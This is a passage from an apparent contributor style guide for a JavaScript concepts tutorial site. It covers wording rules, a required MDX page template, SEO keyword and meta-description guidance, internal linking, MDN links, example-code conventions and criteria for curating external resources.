+**Rule of thumb:** If you have more than 10-15 em dashes in a 1500-word document outside of structured sections, you're overusing them. After writing, search for "—" and evaluate each one.
+
+#### Superlatives and Filler Words
+
+Avoid vague superlatives that add no information:
+
+| ❌ Avoid | ✓ Use Instead |
+|----------|---------------|
+| "dramatically" | "much" or remove entirely |
+| "fundamentally" | "simply" or be specific about what's fundamental |
+| "incredibly" | remove or be specific |
+| "extremely" | remove or be specific |
+| "absolutely" | remove |
+| "basically" | remove (if you need it, you're not explaining clearly) |
+| "essentially" | remove or just explain directly |
+| "very" | remove or use a stronger word |
+| "really" | remove |
+| "actually" | remove (unless correcting a misconception) |
+| "In fact" | remove (just state the fact) |
+| "Interestingly" | remove (let the reader decide if it's interesting) |
+
+#### Stiff/Formal Phrases
+
+Replace formal academic-style phrases with conversational alternatives:
+
+| ❌ Stiff | ✓ Conversational |
+|---------|------------------|
+| "It should be noted that" | "Note that" or just state it |
+| "One might wonder" | "You might wonder" |
+| "This enables developers to" | "This lets you" |
+| "The aforementioned" | "this" or name it again |
+| "Subsequently" | "Then" or "Next" |
+| "Utilize" | "Use" |
+| "Commence" | "Start" |
+| "Prior to" | "Before" |
+| "In the event that" | "If" |
+| "A considerable amount of" | "A lot of" or "Many" |
+
+#### Playful Touches (Use Sparingly)
+
+Add occasional human touches to make the content feel less robotic, but don't overdo it:
+
+```javascript
+// ✓ Good: One playful comment per section
+// Callback hell - nested so deep you need a flashlight
+
+// ✓ Good: Conversational aside
+// forEach and async don't play well together — it just fires and forgets:
+
+// ✓ Good: Relatable frustration
+// Finally, error handling that doesn't make you want to flip a table.
+
+// ❌ Bad: Trying too hard
+// Callback hell - it's like a Russian nesting doll had a baby with a spaghetti monster! 🍝
+
+// ❌ Bad: Forced humor
+// Let's dive into the AMAZING world of Promises! 🎉🚀
+```
+
+**Guidelines:**
+- One or two playful touches per major section is enough
+- Humor should arise naturally from the content
+- Avoid emojis in body text (they're fine in comments occasionally)
+- Don't explain your jokes
+- If a playful line doesn't work, just be direct instead
+
+### Page Structure (Follow This Exactly)
+
+Every concept page MUST follow this structure in this exact order:
+
+```mdx
+---
+title: "Concept Name: [Hook] in JavaScript"
+sidebarTitle: "Concept Name: [Hook]"
+description: "SEO-friendly description in 150-160 characters starting with action word"
+---
+
+[Opening hook - Start with engaging questions that make the reader curious]
+[Example: "How does JavaScript get data from a server? How do you load user profiles, submit forms, or fetch the latest posts from an API?"]
+
+[Immediately show a simple code example demonstrating the concept]
+
+```javascript
+// This is how you [do the thing] in JavaScript
+const example = doSomething()
+console.log(example) // Expected output
+```
+
+[Brief explanation connecting to what they'll learn, with **[inline MDN links](https://developer.mozilla.org/...)** for key terms]
+
+
+**What you'll learn in this guide:**
+- Key learning outcome 1
+- Key learning outcome 2
+- Key learning outcome 3
+- Key learning outcome 4 (aim for 5-7 items)
+
+
+
+[Optional: Prerequisites or important notices - place AFTER Info box]
+**Prerequisite:** This guide assumes you understand [Related Concept](/concepts/related-concept). If you're not comfortable with that yet, read that guide first!
+
+
+---
+
+## [First Major Section - e.g., "What is X?"]
+
+[Core explanation with inline MDN links for any new terms/APIs introduced]
+
+[Optional: CardGroup with MDN reference links for this section]
+
+---
+
+## [Analogy Section - e.g., "The Restaurant Analogy"]
+
+[Relatable real-world analogy that makes the concept click]
+
+[ASCII art diagram visualizing the concept]
+
+```
+┌─────────────────────────────────────────────────────────────────────────┐
+│ DIAGRAM TITLE │
+├─────────────────────────────────────────────────────────────────────────┤
+│ │
+│ [Visual representation of the concept] │
+│ │
+└─────────────────────────────────────────────────────────────────────────┘
+```
+
+---
+
+## [Core Concepts Section]
+
+[Deep dive with code examples, tables, and Mintlify components]
+
+
+
+ Explanation of the first step
+
+
+ Explanation of the second step
+
+
+
+
+
+ Detailed explanation with code examples
+
+
+ Detailed explanation with code examples
+
+
+
+
+**Quick Rule of Thumb:** [Memorable summary or mnemonic]
+
+
+---
+
+## [The API/Implementation Section]
+
+[How to actually use the concept in code]
+
+### Basic Usage
+
+```javascript
+// Basic example with step-by-step comments
+// Step 1: Do this
+const step1 = something()
+
+// Step 2: Then this
+const step2 = somethingElse(step1)
+
+// Step 3: Finally
+console.log(step2) // Expected output
+```
+
+### [Advanced Pattern]
+
+```javascript
+// More complex real-world example
+```
+
+---
+
+## [Common Mistakes Section - e.g., "The #1 Fetch Mistake"]
+
+[Highlight the most common mistake developers make]
+
+```
+┌─────────────────────────────────────────────────────────────────────────┐
+│ VISUAL COMPARISON │
+├─────────────────────────────────────────────────────────────────────────┤
+│ │
+│ WRONG WAY RIGHT WAY │
+│ ───────── ───────── │
+│ • Problem 1 • Solution 1 │
+│ • Problem 2 • Solution 2 │
+│ │
+└─────────────────────────────────────────────────────────────────────────┘
+```
+
+```javascript
+// ❌ WRONG - Explanation of why this is wrong
+const bad = wrongApproach()
+
+// ✓ CORRECT - Explanation of the right way
+const good = correctApproach()
+```
+
+
+**The Trap:** [Clear explanation of what goes wrong and why]
+
+
+---
+
+## [Advanced Patterns Section]
+
+[Real-world patterns and best practices]
+
+### Pattern Name
+
+```javascript
+// Reusable pattern with practical application
+async function realWorldExample() {
+ // Implementation
+}
+
+// Usage
+const result = await realWorldExample()
+```
+
+---
+
+## Key Takeaways
+
+
+**The key things to remember:**
+
+1. **First key point** — Brief explanation
+
+2. **Second key point** — Brief explanation
+
+3. **Third key point** — Brief explanation
+
+4. **Fourth key point** — Brief explanation
+
+5. **Fifth key point** — Brief explanation
+
+[Aim for 8-10 key takeaways that summarize everything]
+
+
+---
+
+## Test Your Knowledge
+
+
+
+ **Answer:**
+
+ [Clear explanation]
+
+ ```javascript
+ // Code example demonstrating the answer
+ ```
+
+
+
+ **Answer:**
+
+ [Clear explanation with code if needed]
+
+
+ [Aim for 5-6 questions covering the main topics]
+
+
+---
+
+## Related Concepts
+
+
+
+ How it connects to this concept
+
+
+ How it connects to this concept
+
+
+
+---
+
+## Reference
+
+
+
+ Official MDN documentation for the main concept
+
+
+ Additional MDN reference
+
+
+
+## Articles
+
+
+
+ Brief description of what the reader will learn from this article.
+
+ [Aim for 4-6 high-quality articles]
+
+
+## Videos
+
+
+
+ Brief description of what the video covers.
+
+ [Aim for 3-4 quality videos]
+
+```
+
+---
+
+## SEO Guidelines
+
+SEO (Search Engine Optimization) is **critical** for this project. Each concept page should rank for the various ways developers search for that concept. Our goal is to appear in search results for queries like:
+
+- "what is [concept] in JavaScript"
+- "how does [concept] work in JavaScript"
+- "[concept] JavaScript explained"
+- "[concept] JavaScript tutorial"
+- "JavaScript [concept] example"
+
+Every writing decision — from title to structure to word choice — should consider search intent.
+
+---
+
+### Target Keywords for Each Concept
+
+Each concept page targets a **keyword cluster** — the family of related search queries. Before writing, identify these for your concept:
+
+| Keyword Type | Pattern | Example (DOM) |
+|--------------|---------|---------------|
+| **Primary** | [concept] + JavaScript | "DOM JavaScript", "JavaScript DOM" |
+| **What is** | what is [concept] in JavaScript | "what is the DOM in JavaScript" |
+| **How does** | how does [concept] work | "how does the DOM work in JavaScript" |
+| **How to** | how to [action] with [concept] | "how to manipulate the DOM" |
+| **Tutorial** | [concept] tutorial/guide/explained | "DOM tutorial JavaScript" |
+| **Comparison** | [concept] vs [related] | "DOM vs virtual DOM" |
+
+**More Keyword Cluster Examples:**
+
+
+
+ | Type | Keywords |
+ |------|----------|
+ | Primary | "JavaScript closures", "closures in JavaScript" |
+ | What is | "what is a closure in JavaScript", "what are closures" |
+ | How does | "how do closures work in JavaScript", "how closures work" |
+ | Why use | "why use closures JavaScript", "closure use cases" |
+ | Example | "JavaScript closure example", "closure examples" |
+ | Interview | "closure interview questions JavaScript" |
+
+
+
+ | Type | Keywords |
+ |------|----------|
+ | Primary | "JavaScript Promises", "Promises in JavaScript" |
+ | What is | "what is a Promise in JavaScript", "what are Promises" |
+ | How does | "how do Promises work", "how Promises work JavaScript" |
+ | How to | "how to use Promises", "how to chain Promises" |
+ | Comparison | "Promises vs callbacks", "Promises vs async await" |
+ | Error | "Promise error handling", "Promise catch" |
+
+
+
+ | Type | Keywords |
+ |------|----------|
+ | Primary | "JavaScript event loop", "event loop JavaScript" |
+ | What is | "what is the event loop in JavaScript" |
+ | How does | "how does the event loop work", "how event loop works" |
+ | Visual | "event loop explained", "event loop visualization" |
+ | Related | "call stack and event loop", "task queue JavaScript" |
+
+
+
+ | Type | Keywords |
+ |------|----------|
+ | Primary | "JavaScript call stack", "call stack JavaScript" |
+ | What is | "what is the call stack in JavaScript" |
+ | How does | "how does the call stack work" |
+ | Error | "call stack overflow JavaScript", "maximum call stack size exceeded" |
+ | Visual | "call stack explained", "call stack visualization" |
+
+
+
+---
+
+### Title Tag Optimization
+
+The frontmatter has **two title fields**:
+- `title` — The page's `` tag (SEO, appears in search results)
+- `sidebarTitle` — The sidebar navigation text (cleaner, no "JavaScript" since we're on a JS site)
+
+**The Two-Title Pattern:**
+
+```mdx
+---
+title: "Closures: How Functions Remember Their Scope in JavaScript"
+sidebarTitle: "Closures: How Functions Remember Their Scope"
+---
+```
+
+- **`title`** ends with "in JavaScript" for SEO keyword placement
+- **`sidebarTitle`** omits "JavaScript" for cleaner navigation
+
+**Rules:**
+1. **50-60 characters** ideal length for `title` (Google truncates longer titles)
+2. **Concept name first** — lead with the topic, "JavaScript" comes at the end
+3. **Add a hook** — what will the reader understand or be able to do?
+4. **Be specific** — generic titles don't rank
+
+**Title Formulas That Work:**
+
+```
+title: "[Concept]: [What You'll Understand] in JavaScript"
+sidebarTitle: "[Concept]: [What You'll Understand]"
+
+title: "[Concept]: [Benefit or Outcome] in JavaScript"
+sidebarTitle: "[Concept]: [Benefit or Outcome]"
+```
+
+**Title Examples:**
+
+| ❌ Bad | ✓ title (SEO) | ✓ sidebarTitle (Navigation) |
+|--------|---------------|----------------------------|
+| `"Closures"` | `"Closures: How Functions Remember Their Scope in JavaScript"` | `"Closures: How Functions Remember Their Scope"` |
+| `"DOM"` | `"DOM: How Browsers Represent Web Pages in JavaScript"` | `"DOM: How Browsers Represent Web Pages"` |
+| `"Promises"` | `"Promises: Handling Async Operations in JavaScript"` | `"Promises: Handling Async Operations"` |
+| `"Call Stack"` | `"Call Stack: How Function Execution Works in JavaScript"` | `"Call Stack: How Function Execution Works"` |
+| `"Event Loop"` | `"Event Loop: How Async Code Actually Runs in JavaScript"` | `"Event Loop: How Async Code Actually Runs"` |
+| `"Scope"` | `"Scope and Closures: Variable Visibility in JavaScript"` | `"Scope and Closures: Variable Visibility"` |
+| `"this"` | `"this: How Context Binding Works in JavaScript"` | `"this: How Context Binding Works"` |
+| `"Prototype"` | `"Prototype Chain: Understanding Inheritance in JavaScript"` | `"Prototype Chain: Understanding Inheritance"` |
+
+**Character Count Check:**
+Before finalizing, verify your `title` length:
+- Under 50 chars: Consider adding more descriptive context
+- 50-60 chars: Perfect length
+- Over 60 chars: Will be truncated in search results — shorten it
+
+---
+
+### Meta Description Optimization
+
+The `description` field becomes the meta description — **the snippet users see in search results**. A compelling description increases click-through rate.
+
+**Rules:**
+1. **150-160 characters** maximum (Google truncates longer descriptions)
+2. **Include primary keyword** in the first half
+3. **Include secondary keywords** naturally if space allows
+4. **Start with an action word** — "Learn", "Understand", "Discover" (avoid "Master" — sounds AI-generated)
+5. **Promise specific value** — what will they learn?
+6. **End with a hook** — give them a reason to click
+
+**Description Formula:**
+
+```
+[Action word] [what the concept is] in JavaScript. [Specific things they'll learn]: [topic 1], [topic 2], and [topic 3].
+```
+
+**Description Examples:**
+
+| Concept | ❌ Too Short (Low CTR) | ✓ SEO-Optimized (150-160 chars) |
+|---------|----------------------|--------------------------------|
+| DOM | `"Understanding the DOM"` | `"Learn how the DOM works in JavaScript. Understand how browsers represent HTML as a tree, select and manipulate elements, traverse nodes, and optimize rendering."` |
+| Closures | `"Functions that remember"` | `"Learn JavaScript closures and how functions remember their scope. Covers lexical scoping, practical use cases, memory considerations, and common closure patterns."` |
+| Promises | `"Async JavaScript"` | `"Understand JavaScript Promises for handling asynchronous operations. Learn to create, chain, and combine Promises, handle errors properly, and write cleaner async code."` |
+| Event Loop | `"How async works"` | `"Discover how the JavaScript event loop manages async code execution. Understand the call stack, task queue, microtasks, and why JavaScript is single-threaded but non-blocking."` |
+| Call Stack | `"Function execution"` | `"Learn how the JavaScript call stack tracks function execution. Understand stack frames, execution context, stack overflow errors, and how recursion affects the stack."` |
+| this | `"Understanding this"` | `"Learn the 'this' keyword in JavaScript and how context binding works. Covers the four binding rules, arrow function behavior, and how to use call, apply, and bind."` |
+
+**Character Count Check:**
+- Under 120 chars: You're leaving value on the table — add more specifics
+- 150-160 chars: Optimal length
+- Over 160 chars: Will be truncated — edit ruthlessly
+
+---
+
+### Keyword Placement Strategy
+
+Keywords must appear in strategic locations — but **always naturally**. Keyword stuffing hurts rankings.
+
+**Priority Placement Locations:**
+
+| Priority | Location | How to Include |
+|----------|----------|----------------|
+| 🔴 Critical | Title | Primary keyword in first half |
+| 🔴 Critical | Meta description | Primary keyword + 1-2 secondary |
+| 🔴 Critical | First paragraph | Natural mention within first 100 words |
+| 🟠 High | H2 headings | Question-format headings with keywords |
+| 🟠 High | "What you'll learn" box | Topic-related phrases |
+| 🟡 Medium | H3 subheadings | Related keywords and concepts |
+| 🟡 Medium | Key Takeaways | Reinforce main keywords naturally |
+| 🟢 Good | Alt text | If using images, include keywords |
+
+**Example: Keyword Placement for DOM Page**
+
+```mdx
+---
+title: "DOM: How Browsers Represent Web Pages in JavaScript" ← 🔴 Primary: "in JavaScript" at end
+sidebarTitle: "DOM: How Browsers Represent Web Pages" ← Sidebar: no "JavaScript"
+description: "Learn how the DOM works in JavaScript. Understand ← 🔴 Primary: "DOM works in JavaScript"
+how browsers represent HTML as a tree, select and manipulate ← 🔴 Secondary: "manipulate elements"
+elements, traverse nodes, and optimize rendering."
+---
+
+How does JavaScript change what you see on a webpage? ← Hook question
+The **Document Object Model (DOM)** is a programming interface ← 🔴 Primary keyword in first paragraph
+for web documents. It represents your HTML as a **tree of
+objects** that JavaScript can read and manipulate.
+
+
+**What you'll learn in this guide:** ← 🟠 Topic reinforcement
+- What the DOM actually is
+- How to select elements (getElementById vs querySelector) ← Secondary keywords
+- How to traverse the DOM tree
+- How to create, modify, and remove elements ← "DOM" implicit
+- How browsers render the DOM (Critical Rendering Path)
+
+
+## What is the DOM in JavaScript? ← 🟠 H2 with question keyword
+
+The DOM (Document Object Model) is... ← Natural repetition
+
+## How the DOM Works ← 🟠 H2 with "how" keyword
+
+## DOM Manipulation Methods ← 🟡 H3 with related keyword
+
+## Key Takeaways ← 🟡 Reinforce in summary
+```
+
+**Warning Signs of Keyword Stuffing:**
+- Same exact phrase appears more than 3-4 times per 1000 words
+- Sentences read awkwardly because keywords were forced in
+- Using keywords where pronouns ("it", "they", "this") would be natural
+
+---
+
+### Answering Search Intent
+
+Google ranks pages that **directly answer the user's query**. Structure your content to satisfy search intent immediately.
+
+**The First Paragraph Rule:**
+
+The first paragraph after any H2 should directly answer the implied question. Don't build up to the answer — lead with it.
+
+```mdx
+
+## What is the Event Loop?
+
+Before we can understand the event loop, we need to talk about JavaScript's
+single-threaded nature. You see, JavaScript can only do one thing at a time,
+and this creates some interesting challenges. The way JavaScript handles
+this is through something called... the event loop.
+
+
+## What is the Event Loop?
+
+The **event loop** is JavaScript's mechanism for executing code, handling events,
+and managing asynchronous operations. It continuously monitors the call stack
+and task queue, moving queued callbacks to the stack when it's empty — this is
+how JavaScript handles async code despite being single-threaded.
+```
+
+**Question-Format H2 Headings:**
+
+Use H2s that match how people search:
+
+| Search Query | H2 to Use |
+|--------------|-----------|
+| "what is the DOM" | `## What is the DOM?` |
+| "how closures work" | `## How Do Closures Work?` |
+| "why use promises" | `## Why Use Promises?` |
+| "when to use async await" | `## When Should You Use async/await?` |
+
+---
+
+### Featured Snippet Optimization
+
+Featured snippets appear at **position zero** — above all organic results. Structure your content to win them.
+
+**Snippet Types and How to Win Them:**
+
+```
+┌─────────────────────────────────────────────────────────────────────────┐
+│ FEATURED SNIPPET TYPES │
+├─────────────────────────────────────────────────────────────────────────┤
+│ │
+│ QUERY TYPE SNIPPET FORMAT YOUR CONTENT STRUCTURE │
+│ ─────────── ────────────── ───────────────────────── │
+│ │
+│ "What is X" Paragraph 40-60 word definition │
+│ immediately after H2 │
+│ │
+│ "How to X" Numbered list component or │
+│ numbered Markdown list │
+│ │
+│ "X vs Y" Table Comparison table with │
+│ clear column headers │
+│ │
+│ "Types of X" Bulleted list Bullet list under │
+│ descriptive H2 │
+│ │
+│ "[X] examples" Bulleted list or Code examples with │
+│ code block brief explanations │
+│ │
+└─────────────────────────────────────────────────────────────────────────┘
+```
+
+**Pattern 1: Definition Snippet (40-60 words)**
+
+For "what is [concept]" queries:
+
+```mdx
+## What is a Closure in JavaScript?
+
+A **closure** is a function that retains access to variables from its outer
+(enclosing) scope, even after that outer function has finished executing.
+Closures are created every time a function is created in JavaScript, allowing
+inner functions to "remember" and access their lexical environment.
+```
+
+**Why this wins:**
+- H2 matches search query exactly
+- Bold keyword in first sentence
+- 40-60 word complete definition
+- Explains the "why" not just the "what"
+
+**Pattern 2: List Snippet (Steps)**
+
+For "how to [action]" queries:
+
+```mdx
+## How to Make a Fetch Request in JavaScript
+
+
+
+ The `fetch()` function takes a URL and returns a Promise that resolves to a Response object.
+
+
+
+ Always verify `response.ok` before processing — fetch doesn't throw on HTTP errors.
+
+
+
+ Use `response.json()` for JSON data, `response.text()` for plain text.
+
+
+
+ Wrap everything in try/catch to handle both network and HTTP errors.
+
+
+```
+
+**Pattern 3: Table Snippet (Comparison)**
+
+For "[X] vs [Y]" queries:
+
+```mdx
+## == vs === in JavaScript
+
+| Aspect | `==` (Loose Equality) | `===` (Strict Equality) |
+|--------|----------------------|------------------------|
+| Type coercion | Yes — converts types before comparing | No — types must match |
+| Speed | Slower (coercion overhead) | Faster (no coercion) |
+| Predictability | Can produce surprising results | Always predictable |
+| Recommendation | Avoid in most cases | Use by default |
+
+```javascript
+// Examples
+5 == "5" // true (string coerced to number)
+5 === "5" // false (different types)
+```
+```
+
+**Pattern 4: List Snippet (Types/Categories)**
+
+For "types of [concept]" queries:
+
+```mdx
+## Types of Scope in JavaScript
+
+JavaScript has three types of scope that determine where variables are accessible:
+
+- **Global Scope** — Variables declared outside any function or block; accessible everywhere
+- **Function Scope** — Variables declared inside a function with `var`; accessible only within that function
+- **Block Scope** — Variables declared with `let` or `const` inside `{}`; accessible only within that block
+```
+
+---
+
+### Content Structure for SEO
+
+How you structure content affects both rankings and user experience.
+
+**The Inverted Pyramid:**
+
+Put the most important information first. Search engines and users both prefer content that answers questions immediately.
+
+```
+┌─────────────────────────────────────────────────────────────────────────┐
+│ THE INVERTED PYRAMID │
+├─────────────────────────────────────────────────────────────────────────┤
+│ │
+│ │
+│ ┌─────────────────────────────────────┐ │
+│ │ ANSWER THE QUESTION │ ← First 100 words │
+│ │ Definition + Core Concept │ (most important) │
+│ └──────────────────┬──────────────────┘ │
+│ │ │
+│ ┌────────────────┴────────────────┐ │
+│ │ EXPLAIN HOW IT WORKS │ ← Next 300 words │
+│ │ Mechanism + Visual Diagram │ (supporting info) │
+│ └────────────────┬─────────────────┘ │
+│ │ │
+│ ┌──────────────────┴──────────────────┐ │
+│ │ SHOW PRACTICAL EXAMPLES │ ← Code examples │
+│ │ Code + Step-by-step │ (proof it works) │
+│ └──────────────────┬──────────────────┘ │
+│ │ │
+│ ┌──────────────────────┴──────────────────────┐ │
+│ │ COVER EDGE CASES │ ← Advanced │
+│ │ Common mistakes, gotchas │ (depth) │
+│ └──────────────────────┬──────────────────────┘ │
+│ │ │
+│ ┌──────────────────────────┴──────────────────────────┐ │
+│ │ ADDITIONAL RESOURCES │ ← External │
+│ │ Related concepts, articles, videos │ (links) │
+│ └──────────────────────────────────────────────────────┘ │
+│ │
+└─────────────────────────────────────────────────────────────────────────┘
+```
+
+**Scannable Content Patterns:**
+
+Google favors content that's easy to scan. Use these elements:
+
+| Element | SEO Benefit | When to Use |
+|---------|-------------|-------------|
+| Short paragraphs | Reduces bounce rate | Always (2-4 sentences max) |
+| Bullet lists | Often become featured snippets | Lists of 3+ items |
+| Numbered lists | "How to" snippet potential | Sequential steps |
+| Tables | High snippet potential | Comparisons, reference data |
+| Bold text | Highlights keywords for crawlers | First mention of key terms |
+| Headings (H2/H3) | Structure signals to Google | Every major topic shift |
+
+**Content Length Guidelines:**
+
+| Length | Assessment | Action |
+|--------|------------|--------|
+| Under 1,000 words | Too thin | Add more depth, examples, edge cases |
+| 1,000-1,500 words | Minimum viable | Acceptable for simple concepts |
+| 1,500-2,500 words | Good | Standard for most concept pages |
+| 2,500-4,000 words | Excellent | Ideal for comprehensive guides |
+| Over 4,000 words | Evaluate | Consider splitting into multiple pages |
+
+**Note:** Length alone doesn't guarantee rankings. Every section must add value — don't pad content.
+
+---
+
+### Internal Linking for SEO
+
+Internal links help search engines understand your site structure and distribute page authority.
+
+**Topic Cluster Strategy:**
+
+Think of concept pages as an interconnected network. Every concept should link to 3-5 related concepts:
+
+```
+ ┌─────────────────┐
+ ┌───────│ Promises │───────┐
+ │ └────────┬────────┘ │
+ │ │ │
+ ▼ ▼ ▼
+ ┌───────────┐ ┌───────────────┐ ┌─────────────┐
+ │async/await│◄──►│ Event Loop │◄──►│ Callbacks │
+ └───────────┘ └───────────────┘ └─────────────┘
+ │ │ │
+ │ ▼ │
+ │ ┌───────────────┐ │
+ └──────►│ Call Stack │◄───────┘
+ └───────────────┘
+```
+
+**Link Placement Guidelines:**
+
+1. **In Prerequisites (Warning box):**
+```mdx
+
+**Prerequisite:** This guide assumes you understand [Promises](/concepts/promises) and the [Event Loop](/concepts/event-loop). Read those first if you're not comfortable with asynchronous JavaScript.
+
+```
+
+2. **In Body Content (natural context):**
+```mdx
+When the callback finishes, it's added to the task queue — which is managed by the [event loop](/concepts/event-loop).
+```
+
+3. **In Related Concepts Section:**
+```mdx
+
+
+ async/await is built on top of Promises
+
+
+ How JavaScript manages async operations
+
+
+```
+
+**Anchor Text Best Practices:**
+
+| ❌ Bad Anchor Text | ✓ Good Anchor Text | Why |
+|-------------------|-------------------|-----|
+| "click here" | "event loop guide" | Descriptive, includes keyword |
+| "this article" | "our Promises concept" | Tells Google what page is about |
+| "here" | "JavaScript closures" | Keywords in anchor text |
+| "read more" | "understanding the call stack" | Natural, informative |
+
+---
+
+### URL and Slug Best Practices
+
+URLs (slugs) are a minor but meaningful ranking factor.
+
+**Rules:**
+1. **Use lowercase** — `closures` not `Closures`
+2. **Use hyphens** — `call-stack` not `call_stack` or `callstack`
+3. **Keep it short** — aim for 3-5 words maximum
+4. **Include primary keyword** — the concept name
+5. **Avoid stop words** — skip "the", "and", "in", "of" unless necessary
+
+**Slug Examples:**
+
+| Concept | ❌ Avoid | ✓ Use |
+|---------|---------|-------|
+| The Event Loop | `the-event-loop` | `event-loop` |
+| this, call, apply and bind | `this-call-apply-and-bind` | `this-call-apply-bind` |
+| Scope and Closures | `scope-and-closures` | `scope-and-closures` (acceptable) or `scope-closures` |
+| DOM and Layout Trees | `dom-and-layout-trees` | `dom` or `dom-layout-trees` |
+
+**Note:** For this project, slugs are already set. When creating new pages, follow these conventions.
+
+---
+
+### Opening Paragraph: The SEO Power Move
+
+The opening paragraph is prime SEO real estate. It should:
+1. Hook the reader with a question they're asking
+2. Include the primary keyword naturally
+3. Provide a brief definition or answer
+4. Set up what they'll learn
+
+**Template:**
+
+```mdx
+[Question hook that matches search intent?] [Maybe another question?]
+
+The **[Primary Keyword]** is [brief definition that answers "what is X"].
+[One sentence explaining why it matters or what it enables].
+
+```javascript
+// Immediately show a simple example
+```
+
+[Brief transition to "What you'll learn" box]
+```
+
+**Example (Closures):**
+
+```mdx
+Why do some functions seem to "remember" variables that should have disappeared?
+How can a callback still access variables from a function that finished running
+long ago?
+
+The answer is **closures** — one of JavaScript's most powerful (and often
+misunderstood) features. A closure is a function that retains access to its
+outer scope's variables, even after that outer scope has finished executing.
+
+```javascript
+function createCounter() {
+ let count = 0 // This variable is "enclosed" by the returned function
+ return function() {
+ count++
+ return count
+ }
+}
+
+const counter = createCounter()
+console.log(counter()) // 1
+console.log(counter()) // 2 — it remembers!
+```
+
+Understanding closures unlocks patterns like private variables, factory functions,
+and the module pattern that power modern JavaScript.
+```
+
+**Why this works for SEO:**
+- Question hooks match how people search ("why do functions remember")
+- Bold keyword in first paragraph
+- Direct definition answers "what is a closure"
+- Code example demonstrates immediately
+- Natural setup for learning objectives
+
+---
+
+## Inline Linking Rules (Critical!)
+
+### Always Link to MDN
+
+Whenever you introduce a new Web API, method, object, or JavaScript concept, **link to MDN immediately**. This gives readers a path to deeper learning.
+
+```mdx
+
+The **[Fetch API](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API)** is JavaScript's modern way to make network requests.
+
+The **[Response](https://developer.mozilla.org/en-US/docs/Web/API/Response)** object contains everything about the server's reply.
+
+Most modern APIs return data in **[JSON](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON)** format.
+
+
+The Fetch API is JavaScript's modern way to make network requests.
+```
+
+### Link to Related Concept Pages
+
+When mentioning concepts covered in other pages, link to them:
+
+```mdx
+
+If you're not familiar with it, check out our [async/await concept](/concepts/async-await) first.
+
+This guide assumes you understand [Promises](/concepts/promises).
+
+
+If you're not familiar with async/await, you should learn that first.
+```
+
+### Common MDN Link Patterns
+
+| Concept | MDN URL Pattern |
+|---------|-----------------|
+| Web APIs | `https://developer.mozilla.org/en-US/docs/Web/API/{APIName}` |
+| JavaScript Objects | `https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/{Object}` |
+| HTTP | `https://developer.mozilla.org/en-US/docs/Web/HTTP` |
+| HTTP Methods | `https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/{METHOD}` |
+| HTTP Headers | `https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers` |
+
+---
+
+## Code Examples Best Practices
+
+### 1. Start with the Simplest Possible Example
+
+```javascript
+// ✓ GOOD: Start with the absolute basics
+// This is how you fetch data in JavaScript
+const response = await fetch('https://api.example.com/users/1')
+const user = await response.json()
+console.log(user.name) // "Alice"
+```
+
+### 2. Use Step-by-Step Comments
+
+```javascript
+// Step 1: fetch() returns a Promise that resolves to a Response object
+const responsePromise = fetch('https://api.example.com/users')
+
+// Step 2: When the response arrives, we get a Response object
+responsePromise.then(response => {
+ console.log(response.status) // 200
+
+ // Step 3: The body is a stream, we need to parse it
+ return response.json()
+})
+.then(data => {
+ // Step 4: Now we have the actual data
+ console.log(data)
+})
+```
+
+### 3. Show Output in Comments
+
+```javascript
+const greeting = "Hello"
+console.log(typeof greeting) // "string"
+
+const numbers = [1, 2, 3]
+console.log(numbers.length) // 3
+```
+
+### 4. Use ❌ and ✓ for Wrong/Correct Patterns
+
+```javascript
+// ❌ WRONG - This misses HTTP errors!
+try {
+ const response = await fetch('/api/users/999')
+ const data = await response.json()
+} catch (error) {
+ // Only catches NETWORK errors, not 404s!
+}
+
+// ✓ CORRECT - Check response.ok
+try {
+ const response = await fetch('/api/users/999')
+
+ if (!response.ok) {
+ throw new Error(`HTTP error! Status: ${response.status}`)
+ }
+
+ const data = await response.json()
+} catch (error) {
+ // Now catches both network AND HTTP errors
+}
+```
+
+### 5. Use Meaningful Variable Names
+
+```javascript
+// ❌ BAD
+const x = [1, 2, 3]
+const y = x.map(z => z * 2)
+
+// ✓ GOOD
+const numbers = [1, 2, 3]
+const doubled = numbers.map(num => num * 2)
+```
+
+### 6. Progress from Simple to Complex
+
+```javascript
+// Level 1: Basic usage
+fetch('/api/users')
+
+// Level 2: With options
+fetch('/api/users', {
+ method: 'POST',
+ body: JSON.stringify({ name: 'Alice' })
+})
+
+// Level 3: Full real-world pattern
+async function createUser(userData) {
+ const response = await fetch('/api/users', {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify(userData)
+ })
+
+ if (!response.ok) {
+ throw new Error(`Failed to create user: ${response.status}`)
+ }
+
+ return response.json()
+}
+```
+
+---
+
+## Resource Curation Guidelines
+
+External resources (articles, videos) are valuable, but must meet quality standards.
+
+### Quality Standards
+
+Only include resources that are:
+
+1. **JavaScript-focused** — No resources primarily about other languages (C#, Python, Java, etc.), even if the concepts are similar
+2. **Still accessible** — Verify all links work before publishing
+3. **High quality** — From reputable sources (MDN, javascript.info, freeCodeCamp, well-known educators)
+4. **Up to date** — Avoid outdated resources; check publication dates for time-sensitive topics
+5. **Accurate** — Skim the content to verify it doesn't teach anti-patterns
+
+### Writing Resource Descriptions
+
+Each resource needs a **specific, engaging 2-sentence description** explaining what makes it unique. Generic descriptions waste the reader's time.
+
+```mdx
+
+
+ Learn about Promises in JavaScript.
+
+
+
+
+ A comprehensive guide to async/await.
+
+
+
+
+ The go-to reference for async/await fundamentals. Includes exercises at the end to test your understanding of rewriting promise chains.
+
+
+
+
+ Animated GIFs showing the call stack, microtask queue, and event loop in action. This is how async/await finally "clicked" for thousands of developers.
+
+
+
+
+ The pizza-and-drinks ordering example makes parallel vs sequential execution crystal clear. Essential reading once you know the basics.
+
+```
+
+**Description Formula:**
+1. **Sentence 1:** What makes this resource unique OR what it specifically covers
+2. **Sentence 2:** Why a reader should click (what they'll gain, who it's best for, what stands out)
+
+**Avoid in descriptions:**
+- "Comprehensive guide to..." (vague)
+- "Great tutorial on..." (vague)
+- "Learn all about..." (vague)
+- "Everything you need to know about..." (cliché)
+
+### Recommended Sources
+
+**Articles (Prioritize):**
+
+| Source | Why |
+|--------|-----|
+| javascript.info | Comprehensive, well-maintained, exercises included |
+| MDN Web Docs | Official reference, always accurate |
